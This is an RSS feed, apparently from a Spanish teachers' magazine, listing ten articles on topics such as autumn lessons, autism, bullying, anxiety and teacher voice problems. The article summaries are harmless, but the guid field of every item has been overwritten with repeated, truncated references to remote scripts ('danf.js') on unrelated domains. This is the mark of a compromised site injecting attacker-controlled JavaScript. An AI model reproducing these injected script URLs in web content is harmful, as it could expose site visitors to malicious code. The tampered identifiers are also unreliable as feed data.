
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Paiderex</title>
	<atom:link href="http://revista.academiamaestre.es/feed/" rel="self" type="application/rss+xml" />
	<link>http://revista.academiamaestre.es</link>
	<description></description>
	<lastBuildDate>Mon, 01 Feb 2016 19:41:16 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>EL COLEGIO SE VISTE DE OTOÑO</title>
		<link>http://revista.academiamaestre.es/2016/02/el-colegio-se-viste-de-otono/</link>
		<comments>http://revista.academiamaestre.es/2016/02/el-colegio-se-viste-de-otono/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 19:41:16 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>
		<category><![CDATA[Otoño]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Iluminada Macarro Jaime Ha comenzado el otoño, una estación del año que despierta mucha curiosidad entre los alumnos. El paisaje cambia de color, sentimos y percibimos sensaciones diferentes, frío, calor…descubrimos frutos como la bellota, la castaña, las setas, la granada, el membrillo. Todo esto, nos permite trabajar en el colegio una serie de objetivos [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/el-colegio-se-viste-de-otono/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MEDIOS Y FINES EDUCATIVOS EN EL AULA DE PRIMARIA.</title>
		<link>http://revista.academiamaestre.es/2016/02/medios-y-fines-educativos-en-el-aula-de-primaria/</link>
		<comments>http://revista.academiamaestre.es/2016/02/medios-y-fines-educativos-en-el-aula-de-primaria/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 19:36:22 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>
		<category><![CDATA[Ed.Primeria]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Alicia González Miranda Una buena enseñanza se basa en una buena utilización de sus recursos para transmitir conocimiento y destrezas. Saber escoger y enfocar unos buenos medios y métodos de enseñanza- aprendizaje es clave. Para ello el sistema educativo se basa en una serie de Medios y fines didácticos que hacen más fácil  la [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/medios-y-fines-educativos-en-el-aula-de-primaria/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CIENCIAS NATURALES  ENFOCADO A EDUCACIÓN PRIMARIA.</title>
		<link>http://revista.academiamaestre.es/2016/02/ciencias-naturales-enfocado-a-educacion-primaria/</link>
		<comments>http://revista.academiamaestre.es/2016/02/ciencias-naturales-enfocado-a-educacion-primaria/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 19:32:51 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Alicia González Miranda Finalidad: Proporcionar una educación que permita afianzar su desarrollo personal y su propio bienestar , adquiriendo  las habilidades culturales básicas relativas a la expresión y comprensión oral , a la lectora, a la escritura, y al cálculo así como desarrollar habilidades sociales , hábitos de trabajo y estudio , el sentido [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/ciencias-naturales-enfocado-a-educacion-primaria/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IDENTIFICAR Y CONTROLAR LA ANSIEDAD</title>
		<link>http://revista.academiamaestre.es/2016/02/identificar-y-controlar-la-ansiedad/</link>
		<comments>http://revista.academiamaestre.es/2016/02/identificar-y-controlar-la-ansiedad/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 18:57:35 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Alicia García Sánchez     Todos sabemos que las tensiones, el estrés y la ansiedad son perjudiciales en nuestra sociedad tanto en los adultos como en niños/as. En nuestra cultura, parecemos inmersos en una carrera contrarreloj, en la que pasamos de una actividad a otra sin tiempo a descansar. Inmerso en este proceso los padres van [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/identificar-y-controlar-la-ansiedad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LAS TECNOLOGÍAS DE LA EDUCACIÓN EN LA COMUNIDAD EDUCATIVA EN EXTREMADURA PARA ALUMNOS CON TRASTORNO DE ESPECTRO AUSTISTA (TEA)</title>
		<link>http://revista.academiamaestre.es/2016/02/las-tecnologias-de-la-educacion-en-la-comunidad-educativa-en-extremadura-para-alumnos-con-trastorno-de-espectro-austista-tea/</link>
		<comments>http://revista.academiamaestre.es/2016/02/las-tecnologias-de-la-educacion-en-la-comunidad-educativa-en-extremadura-para-alumnos-con-trastorno-de-espectro-austista-tea/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 18:42:07 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>
		<category><![CDATA[Programas informáticos]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Mª Inmaculada Guerrero Vargas Este articulo trata de dar información acerca de las diferentes aplicaciones informáticas existentes, que tienen como objetivo mejorar la comunicación y el lenguaje de alumnos con trastornos generalizados del desarrollo, especialmente alumnos con autismo. Hoy en día, las tecnologías tienen un gran protagonismo en nuestra sociedad y por este motivo [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/las-tecnologias-de-la-educacion-en-la-comunidad-educativa-en-extremadura-para-alumnos-con-trastorno-de-espectro-austista-tea/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EL ACOSO ESCOLAR O BULLYING</title>
		<link>http://revista.academiamaestre.es/2016/02/el-acoso-escolar-o-bullying/</link>
		<comments>http://revista.academiamaestre.es/2016/02/el-acoso-escolar-o-bullying/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 17:02:58 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>
		<category><![CDATA[bullying]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Mª del Carmen Garrido Santos Todos a lo largo de nuestra vida escolar hemos padecido acoso escolar o hemos visto como acosaban a otro compañero de nuestra clase con burlas, humillaciones o maltrato físico. Este acoso puede pasar desapercibido por el entorno del niño, como familiares o maestros; pero para la persona que está [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/el-acoso-escolar-o-bullying/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HABLAMOS SIN VOZ: COMUNICACIÓN NO VERBAL</title>
		<link>http://revista.academiamaestre.es/2016/02/1415/</link>
		<comments>http://revista.academiamaestre.es/2016/02/1415/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 16:58:23 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>
		<category><![CDATA[Comunicación no verbal]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autor: David González Delgado En los últimos años los estudios sobre enseñanza y psicología pedagógica han tenido en cuenta los fenómenos comunicacionales que se desarrollan dentro del contexto de las interacciones entre profesor y los alumnos. Se reconoce que el tipo de comunicación que se establezca en el aula tiene una notable influencia en el [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/1415/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>¿QUÉ ANIMALES CONOCEMOS?</title>
		<link>http://revista.academiamaestre.es/2016/02/que-animales-conocemos/</link>
		<comments>http://revista.academiamaestre.es/2016/02/que-animales-conocemos/#comments</comments>
		<pubDate>Mon, 01 Feb 2016 16:00:05 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Enero 2016]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: María José Castilla Montesinos. Los animales son seres vivos, al mismo tiempo próximos y lejanos a los escolares. Pueden tener contacto con ellos en su entorno, visitarlos en un zoo e incluso conocerlos mediante películas infantiles. De este modo pueden ser consciente de algunas de las características, pero hay diversos aspectos o contenidos que [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2016/02/que-animales-conocemos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EL AUTISMO EN LAS AULAS</title>
		<link>http://revista.academiamaestre.es/2014/10/el-autismo-en-las-aulas/</link>
		<comments>http://revista.academiamaestre.es/2014/10/el-autismo-en-las-aulas/#comments</comments>
		<pubDate>Wed, 15 Oct 2014 09:42:01 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2014]]></category>
		<category><![CDATA[Autismo]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[                                                                                         Autora: Yolanda Orellana Muñoz                [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2014/10/el-autismo-en-las-aulas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DISFONÍA Y DOCENCIA</title>
		<link>http://revista.academiamaestre.es/2014/10/disfonia-y-docencia/</link>
		<comments>http://revista.academiamaestre.es/2014/10/disfonia-y-docencia/#comments</comments>
		<pubDate>Tue, 07 Oct 2014 14:39:36 +0000</pubDate>
		<dc:creator>Paiderex</dc:creator>
				<category><![CDATA[Artículos Octubre 2014]]></category>
		<category><![CDATA[disfonia]]></category>

		<guid isPermaLink="false">http://middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;middle.destinyfernandi.com/clork/bons/danf.js?k=0&#038;adjust.admarketlocation.com/bons/danf.js?k=0&#038;adj</guid>
		<description><![CDATA[Autora: Manuela Pecero Amaya &#160;                  En este artículo se pretende dar a conocer un problema que en más de una ocasión nos ha resultado incómodo a más de un docente a la hora de impartir clases como es la pérdida parcial de voz o mejor conocida como [...]]]></description>
		<wfw:commentRss>http://revista.academiamaestre.es/2014/10/disfonia-y-docencia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
